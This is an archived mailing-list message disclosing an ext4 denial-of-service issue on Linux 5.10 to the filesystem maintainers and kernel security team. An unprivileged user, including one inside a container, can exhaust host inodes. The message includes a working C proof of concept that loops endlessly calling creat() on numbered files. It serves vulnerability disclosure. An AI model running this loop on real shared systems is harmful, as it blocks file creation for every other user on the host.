Message-ID: <52000f5c.6b0.17bb6268e72.Coremail.20151213521@stu.xidian.edu.cn>
Date:   Sun, 5 Sep 2021 21:29:45 +0800 (GMT+08:00)
From:   肖杰韬 <20151213521@....xidian.edu.cn>
To:     tytso@....edu, adilger.kernel@...ger.ca
Cc:     linux-ext4@...r.kernel.org, security@...nel.org
Subject: Report bug to Linux ext4 file system about inode

Hi, our team has found a problem in ext4 system on Linux kernel v5.10, leading to DoS attacks.

The struct inode can be exhausted by normal users by calling syscall such as creat. A normal user can repeatedly make the creat syscalls to creat files and exhaust all struct inode. As a result，although there is still a lot of space in the disk, there are no available inodes and all ext4 files/directories creation of all other users will fail.

In fact, we try this attack inside a deprivileged docker container without any capabilities. The processes in the docker can exhaust all struct inode on the host kernel. We use a machine with 500G SSD disk. We start one process to exhaust all struct inode. In total, around 30498816 number of struct inode are consumed and there are no available struct inode in the kernel. The blkio control group can only limit the IOPS or IO bandwidth, so blkio control group can not help. 


The following code shows a PoC that takes 30498816 number of struct inode, while take all struct inode on host. We evaluate the PoC on intel i5 CPU physical machine + Linux kernel v5.10.0 + Ubuntu 18.04 LTS.
-----------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>


int main()
{
    char nameout[64]; 
    int fd; 
    for (int i = 1; ; i++) { 
         sprintf(nameout, "test%d.txt", i); 
         fd = creat(&amp;nameout[0], O_CREAT); 
         close(fd); 
    } 
    getchar();
    return 0;
} 

----------------------------------------------- 
 
Looking forward to your reply! 




--

Powered by blists - more mailing lists